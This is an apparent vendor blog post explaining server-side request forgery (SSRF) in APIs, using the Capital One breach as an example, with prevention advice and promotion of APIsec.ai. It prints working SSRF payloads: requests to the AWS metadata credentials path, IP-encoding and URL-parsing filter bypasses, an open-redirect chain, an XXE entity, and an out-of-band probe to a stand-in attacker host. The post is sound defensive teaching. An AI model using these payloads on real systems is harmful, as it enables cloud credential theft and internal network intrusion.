SSRF Explained: OWASP API Security Principle 7 Made Simple

APIs have become the beating heart of digital systems, powering everything from fintech apps and travel platforms to social media and enterprise integrations. But with this interconnectivity comes a silent, often underestimated risk, Server-Side Request Forgery (SSRF).

Recognized as the seventh entry in the OWASP API Security Top 10, SSRF is a rapidly growing threat that targets how APIs handle user-supplied URLs. When APIs fail to properly validate those URLs, attackers can manipulate the server into making unintended network requests, sometimes even into its own internal systems.

What Is Server-Side Request Forgery (SSRF)?

At its simplest, SSRF (Server-Side Request Forgery) happens when an attacker tricks your server into going somewhere it doesn’t belong.

Picture this: your API asks users to share a LinkedIn profile URL. A normal user would paste something like https://linkedin.com/in/janedoe, and everything works as expected. But an attacker could send something completely different, maybe a malicious link, a SQL injection string, or even an internal address like http://localhost/api/userdata.

If your API doesn’t check what it’s being given, the server might follow that request. Instead of fetching a harmless external profile, it could end up calling internal systems, exposing private data, or even downloading malware. In effect, the attacker convinces your server to act on their behalf making requests to places it should never reach.

This is why input validation is critical in API design. You can’t assume that what users submit will be safe, even if it looks harmless. Every input must be treated as untrusted until verified.

How to prevent SSRF in simple terms:

1. Always validate user inputs. Check that any URL or path provided by a user is actually safe before your API uses it.
   
   
2. Allow only trusted domains. If you expect LinkedIn URLs, confirm that they truly come from linkedin.com or your approved domain list.
   
   
3. Block internal and local access. Never let your server connect to localhost, internal IP ranges, or other private network addresses.
   
   
4. Reject suspicious or malformed requests. If the input doesn’t match what your API expects, don’t process it and fail fast and log the attempt.

In short, SSRF isn’t about complex coding errors, it's about misplaced trust. When your API lets users tell your server where to go, you must make sure it’s only going to safe, verified destinations. The rule is simple: don’t trust user-provided URLs until you’ve confirmed they belong where they say they do.

Real-World Example: The Capital One Breach

One of the most notorious SSRF incidents occurred in 2019 when Capital One suffered a data breach affecting over 100 million customers. The attacker exploited an SSRF vulnerability in a web application hosted on AWS.

By manipulating a URL parameter, the attacker forced the application’s backend to access the AWS metadata service, a special endpoint meant only for internal use. That single flaw exposed credentials and allowed unauthorized access to massive troves of sensitive information.

This attack showed just how devastating SSRF can be. It doesn’t just leak a file; it can open doors to entire cloud infrastructures.

Step-by-Step SSRF Payload Manipulation 

Understanding how server-side request forgery works conceptually is one thing — seeing how an attacker actually constructs and submits the payload is what makes the risk concrete. Here are the steps an attacker follows to exploit a vulnerable API endpoint:

Step 1 — Identify a URL-accepting parameter

The attacker finds an API endpoint that accepts a user-supplied URL:

POST /api/v1/fetch-profile

Content-Type: application/json

‍

{"profileUrl": "https://linkedin.com/in/janedoe"}

Step 2 — Confirm the server makes an outbound request

The attacker substitutes a URL pointing to a server they control and checks whether a callback arrives — confirming the server fetches URLs before validating them.

Step 3 — Probe internal targets

With confirmation that the server follows URLs, the attacker substitutes an internal address:

POST /api/v1/fetch-profile

Content-Type: application/json

‍

{"profileUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

Step 4 — Extract the response

If the API doesn't block internal destinations, it returns the cloud metadata response — including IAM credentials — directly in the API response body. This is exactly the sequence that played out in the Capital One breach.

Here are the ways this same pattern surfaces across different API contexts:

• Webhook registration endpoints — an attacker registers a webhook pointing to an internal service URL. Every event trigger causes the server to call that internal endpoint, leaking response data back through the webhook delivery mechanism
• URL import features — data import APIs that fetch content from a user-supplied URL are direct SSRF entry points if the URL isn't validated before the fetch executes
• PDF and screenshot generation — APIs that render external URLs into documents frequently follow redirects without checking where the redirect chain ends, making them reliable SSRF vectors

SSRF Filter Bypass Techniques

Blocking localhost and 169.254.169.254 in a simple string check isn't sufficient. Attackers have developed a wide range of encoding and parsing techniques specifically to bypass naive URL validation. Here are the ways SSRF filter bypass works in practice against APIs that believe they've implemented protections:

Alternate IP encodings target validators that only block the string representation of known internal addresses:

# Decimal encoding

http://2130706433/internal          (127.0.0.1 in decimal)

‍

# Octal encoding  

http://0177.0.0.1/internal          (127.0.0.1 in octal)

‍

# Hex encoding

http://0x7f000001/internal          (127.0.0.1 in hex)

‍

# IPv6 equivalent

http://[::1]/internal

URL parsing inconsistencies exploit differences between how the validation layer and the HTTP client parse the same URL:

# @ credential injection — parser reads host as "trusted.com", HTTP client connects to "internal-host"

http://trusted.com@internal-host/path

‍

# Fragment abuse — some parsers strip everything after #, HTTP client sees full URL

http://internal-host/path#https://trusted.com

‍

# Double URL encoding — validation decodes once, HTTP library decodes twice

http://127.0.0.1%252F%252Finternal/path

Each of these exploits a gap between what the validation layer sees and what the HTTP client actually requests. Effective server side request forgery prevention requires URL normalization and resolution before validation — checking where the URL actually resolves to, not just what it looks like as a string.

Whitelist vs Blacklist Validation Bypass in APIs

Most API teams choose between two validation approaches when implementing SSRF protections — and the choice matters significantly for how bypassable the protection turns out to be.

Blacklist validation blocks known bad values: localhost, 127.0.0.1, 169.254.169.254, private IP ranges. The problem is that blacklists are inherently incomplete. Every encoding variation in the section above bypasses a blacklist-based validator because the blocked string never appears literally. Attackers probe the encoding space until they find a representation the blacklist doesn't recognize.

Allowlist validation only permits explicitly approved destinations — a defined list of trusted domains or IP ranges. This is the correct approach for preventing server side request forgery, but it introduces its own bypass surface when implemented at the string level rather than the resolution level. Here are the ways allowlist bypass works against string-based validators:

• Subdomain abuse — if trusted.com is allowlisted, internal-service.trusted.com.attacker.com passes a string prefix check while resolving to an attacker-controlled host
• Open redirect chaining — if trusted.com is allowlisted but hosts an open redirect at /redirect?url=, an attacker supplies https://trusted.com/redirect?url=http://internal-host. The validator approves the trusted domain; the redirect delivers the request to the internal target
• DNS rebinding — a domain the attacker controls initially resolves to an external IP (passing validation), then switches its DNS record to resolve to an internal IP before the HTTP request executes

The only reliable defense is resolving the URL to its final IP address after following all redirects and re-validating that resolved IP against the allowlist — not validating the URL string itself.

Open Redirect Chaining as an SSRF Bypass

Open redirect chaining deserves specific attention in API environments because it turns a low-severity vulnerability in one service into a critical SSRF bypass in another. This is particularly relevant for APIs that integrate with third-party services, webhook flows, and OAuth redirect handling.

The attack works like this. An API allows https://partner-service.com as a trusted destination for outbound requests. The partner service has an open redirect at /go?url=. An attacker submits:

POST /api/v1/fetch-data

{"sourceUrl": "https://partner-service.com/go?url=http://169.254.169.254/latest/meta-data/"}

The API validator sees partner-service.com and approves the request. The server follows the redirect to the metadata endpoint. The SSRF succeeds through a trusted domain the security team explicitly approved.

Here are the ways open redirect chaining surfaces across common API integration patterns:

• OAuth flows — redirect URIs that aren't strictly validated can be chained into SSRF payloads targeting internal services
• Webhook delivery — webhook endpoints that follow 3xx responses without re-validating the redirect destination inherit whatever SSRF protections (or lack thereof) the redirect target has
• CDN and proxy integrations — APIs that proxy requests through CDN layers may validate the initial URL but follow redirect responses from the CDN without re-checking the destination

Defending against this requires disabling automatic redirect following in outbound HTTP clients, or re-validating the redirect destination against the allowlist before following it.

‍

Why SSRF Is So Dangerous for APIs

APIs frequently deal with URLs, for importing data, sending webhooks, embedding links, or validating external content. Each of these features can become a liability if not tightly controlled.

The main dangers include:

• Internal reconnaissance: Attackers can scan private networks by manipulating URLs.
• Data extraction: APIs can be tricked into returning internal data or configurations.
• Malware delivery: The server may unknowingly download or execute malicious files.
• Pivoting inside clouds: Attackers can exploit cloud metadata endpoints to steal keys and tokens.

Because SSRF takes advantage of legitimate API functionality, it’s easy to overlook during manual reviews, until it’s too late.

Common Signs Your API May Be Vulnerable

• Endpoints that accept or fetch external URLs from user input.
• Lack of domain or protocol validation in URL parameters.
• Unexpected internal traffic originating from your own servers.
• Absence of logs or error handling for failed outbound requests.

Even one of these indicators is a reason to review your API configuration immediately.

How to Prevent Server-Side Request Forgery

Defending against SSRF starts with the golden rule of security, never trust user input.
Here are best practices that every API team should adopt:

1. Validate and Sanitize All URLs: Only allow URLs that match the expected pattern. For example, if the field is for LinkedIn profiles, enforce the domain linkedin.com.
   
   
2. Create Strict Allowlists: Restrict outbound connections to known, trusted domains or IP ranges.
   
   
3. Block Internal IP Access: Deny all requests to private network ranges such as 127.0.0.1, 10.x.x.x, and cloud metadata addresses.
   
   
4. Limit Protocols: Only permit https:// requests. Block dangerous schemes like file://, ftp://, and gopher://.
   
   
5. Use DNS Resolution Checks: Verify that hostnames resolve to safe, external IPs not internal resources.
   
   
6. Apply Timeouts and Size Limits: Cap execution time and response size to prevent resource exhaustion or denial-of-service.
   
   
7. Conduct Regular Security Testing: Use tools to conduct automated API security testing and test endpoints continuously for injection and redirection behaviors.

Hidden SSRF Attack Surfaces in APIs 

SSRF vulnerabilities don't only appear in obvious URL parameters. Several API input patterns create SSRF exposure that isn't visible during standard endpoint review. Understanding these hidden surfaces is especially important given how often they lead to sensitive data exposure in systems that passed their last security assessment. Here are the ways hidden SSRF attack surfaces appear across common API designs:

Partial URL parameters — APIs that accept a hostname or path fragment and construct the full URL internally are vulnerable when the construction logic can be influenced by the input. An API that accepts {"host": "partner.com"} and constructs https://{host}/api/data internally can be manipulated with {"host": "internal-service"} if the host value isn't validated before URL construction.

Data parsers and file format processing — XML parsers that process external entity references are a classic SSRF vector. An API endpoint that accepts XML input and parses it with external entity resolution enabled will follow any URL in a DOCTYPE declaration:

xml

<?xml version="1.0"?>

<!DOCTYPE data [

  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">

]>

<data>&ssrf;</data>

Host-only inputs — API parameters that accept a hostname for integration configuration ({"callbackHost": "partner.com"}) are frequently overlooked in SSRF testing because they don't look like full URLs. When the API constructs requests to that host, attacker-controlled values in these fields achieve the same result as a full URL injection.

Image and document processing endpoints — APIs that render, resize, or convert files fetched from a URL are high-value SSRF targets because the URL-fetching behavior is an implementation detail developers often don't consider a security-relevant input.

Blind SSRF Detection

Not all SSRF vulnerabilities produce visible output. Blind SSRF occurs when the server makes the unauthorized request but doesn't return the response to the attacker — the internal data stays server-side, but the request still executes. This makes blind SSRF harder to detect manually and easier to miss entirely during standard penetration testing.

Here are the ways blind SSRF is detected reliably:

**Out-of-band detection** uses an attacker-controlled external server with DNS logging. The payload points to a unique subdomain:

```

{"profileUrl": "http://ssrf-probe.attacker-controlled-dns.com/test"}

Even if the API returns no visible response, a DNS lookup for ssrf-probe.attacker-controlled-dns.com appears in the DNS logs — confirming that the server made the outbound request. The absence of visible output doesn't mean the SSRF didn't execute.

Async callback detection targets APIs that process requests asynchronously. The payload registers a callback URL on an attacker-controlled server. The API queues the job and returns immediately, but the callback fires when processing completes — revealing that the server reached the attacker's endpoint.

Timing-based detection exploits response time differences. A request to an internal IP that exists produces a faster timeout than a request to an IP with no listener. Systematic timing analysis across IP ranges can map reachable internal hosts even without seeing response content.

APIsec detects blind SSRF automatically using out-of-band callback infrastructure integrated into its scanning engine. Rather than relying on visible response differences, APIsec instruments each SSRF test case with a unique callback identifier and monitors for DNS lookups and HTTP callbacks — confirming exploitation even when the API response reveals nothing.

 How to Prevent Server-Side Request Forgery

Defending against server side request forgery requires controls at multiple layers — string-level validation alone isn't sufficient given the encoding and redirect bypass techniques attackers routinely use. Integrating these controls as part of a DevSecOps and API security workflow ensures they're enforced consistently across every new endpoint rather than applied retrospectively. Here are the ways effective SSRF prevention works in depth:

• Validate and sanitize all URLs — normalize URLs to their canonical form before validation. Decode all encoding layers and resolve the hostname to its final IP before checking against any allowlist or blocklist
• Use allowlists, not blacklists — restrict outbound connections to explicitly approved domains and IP ranges. Blacklists will always be incomplete given the range of encoding bypasses available
• Block internal IP access at the resolution layer — deny requests where the resolved IP falls within private ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and cloud metadata ranges (169.254.169.254), regardless of how the URL was encoded in the request
• Disable automatic redirect following — configure outbound HTTP clients to not follow 3xx redirects automatically, or re-validate the redirect destination against the allowlist before following
• Limit protocols — only permit https:// scheme requests. Block file://, ftp://, gopher://, dict://, and all other non-HTTP schemes at the URL parsing layer
• Apply DNS resolution checks — verify that hostnames resolve to safe external IPs before the request executes. Re-resolve after redirect to catch DNS rebinding attempts
• Apply timeouts and response size limits — cap execution time and response body size to limit the data an attacker can extract and prevent resource exhaustion through slow internal endpoints

Continuously testing APIs for SSRF across every deployment cycle ensures these controls don't silently regress when new endpoints are added or existing ones are refactored — which is where most production SSRF vulnerabilities are reintroduced.

‍

Testing for SSRF Vulnerabilities

Manual testing often misses SSRF issues because the payloads seem harmless at first glance.
To uncover them effectively:

• Attempt to input internal addresses like http://localhost/ or http://169.254.169.254/ (the AWS metadata service).
• Try redirect chains that point to unsafe destinations.
• Observe server responses and network logs for unauthorized outbound requests.

Since these tests can be repetitive and complex, automated tools can significantly speed up detection.

How APIsec Tests What Manual Review Misses

Manual SSRF testing covers the obvious payloads against the obvious endpoints. What it consistently misses is the combination of encoding variations, redirect chains, and blind execution paths that make SSRF exploitable in production systems that passed their last security review.
Here are the ways APIsec automates the coverage gaps that manual testing leaves open:

• Internal IP reachability testing — APIsec submits payloads across the full range of private IP encodings (decimal, octal, hex, IPv6) against every URL-accepting parameter, including parameters that construct URLs internally
• Metadata endpoint probing — cloud provider metadata endpoints for AWS, GCP, and Azure are included in the automated payload set, with endpoint-specific paths that confirm credential exposure rather than just network reachability
• Redirect-follow behavior validation — APIsec tests whether outbound HTTP clients in the API follow 301/302 redirects to internal destinations, identifying APIs that validate the initial URL but blindly follow redirect chains to restricted targets
• URL normalization discrepancy testing — APIsec submits encoding variations of blocked addresses to identify gaps between the validation layer and the HTTP client, catching bypass-capable encoding schemes the validator doesn't normalize before checking
• Blind SSRF detection via out-of-band callbacks — every SSRF test case includes a unique callback identifier monitored by APIsec's out-of-band infrastructure, confirming blind execution even when the API returns no visible indication that the request was made

Here is how specific SSRF techniques map to APIsec's automated test coverage and detection outcomes:

How APIsec.ai Helps Detect and Prevent SSRF

Identifying SSRF vulnerabilities manually is difficult, especially in large API environments. That’s where APIsec.ai becomes invaluable.

The platform performs automated, continuous API security testing, including checks for SSRF and related input-validation flaws. Here’s how it works:

• Simulated Malicious Payloads: APIsec.ai automatically injects crafted URLs into API parameters to see if your server follows them.
• Detection of Internal Access: It flags endpoints that can reach private or restricted networks.
• Automated Validation of URL Filters: Verifies whether your application correctly enforces allowlists and domain restrictions.
• CI/CD Integration: Continuous testing ensures new features don’t reintroduce SSRF risks.

By integrating APIsec.ai into your development pipeline, you can proactively discover and fix SSRF vulnerabilities before they become exploitable turning what was once a manual, time-consuming process into an automated safeguard.

How APIsec Tests What Manual Review Misses

Manual SSRF testing covers the obvious payloads against the obvious endpoints. What it consistently misses is the combination of encoding variations, redirect chains, and blind execution paths that make SSRF exploitable in production systems that passed their last security review.
Here are the ways APIsec automates the coverage gaps that manual testing leaves open:

• Internal IP reachability testing — APIsec submits payloads across the full range of private IP encodings (decimal, octal, hex, IPv6) against every URL-accepting parameter, including parameters that construct URLs internally
• Metadata endpoint probing — cloud provider metadata endpoints for AWS, GCP, and Azure are included in the automated payload set, with endpoint-specific paths that confirm credential exposure rather than just network reachability
• Redirect-follow behavior validation — APIsec tests whether outbound HTTP clients in the API follow 301/302 redirects to internal destinations, identifying APIs that validate the initial URL but blindly follow redirect chains to restricted targets
• URL normalization discrepancy testing — APIsec submits encoding variations of blocked addresses to identify gaps between the validation layer and the HTTP client, catching bypass-capable encoding schemes the validator doesn't normalize before checking
• Blind SSRF detection via out-of-band callbacks — every SSRF test case includes a unique callback identifier monitored by APIsec's out-of-band infrastructure, confirming blind execution even when the API returns no visible indication that the request was made

Here is how specific SSRF techniques map to APIsec's automated test coverage and detection outcomes:

Conclusion

Server-Side Request Forgery (SSRF) may seem like a small input-handling mistake, but its consequences can be catastrophic from leaking internal data to exposing entire cloud environments.

APIs that process user-supplied URLs must be treated with caution. Proper validation, strict outbound controls, and ongoing testing are non-negotiable if you want to keep your systems safe.

With APIsec.ai, organizations can automate SSRF testing across every stage of the API lifecycle, ensuring each new endpoint is validated and secure before it ever reaches production.

Start protecting your APIs today. Try APIsec.ai for free and discover how automated API security testing can help you detect and eliminate SSRF risks before attackers do.

FAQs

1. What is OWASP API Security Principle #7?

It refers to Server-Side Request Forgery (SSRF) a vulnerability that lets attackers trick an API server into making unauthorized requests to internal or external resources.

2. Why is SSRF so dangerous for APIs?

Because APIs often process URLs for integrations, attackers can use them to access internal systems, download malware, or leak sensitive data.

3. What’s an example of an SSRF attack?

In the Capital One breach, a vulnerable URL parameter was used to access AWS metadata and steal credentials a classic SSRF exploit.

4. How can developers prevent SSRF?

Validate all URLs, restrict access to internal IPs, enforce allowlists, and use timeouts to limit damage from malicious requests.

5. How does APIsec.ai help?

APIsec.ai automates the detection of SSRF and other OWASP vulnerabilities by simulating malicious inputs, verifying response behaviors, and integrating security checks directly into CI/CD pipelines.

‍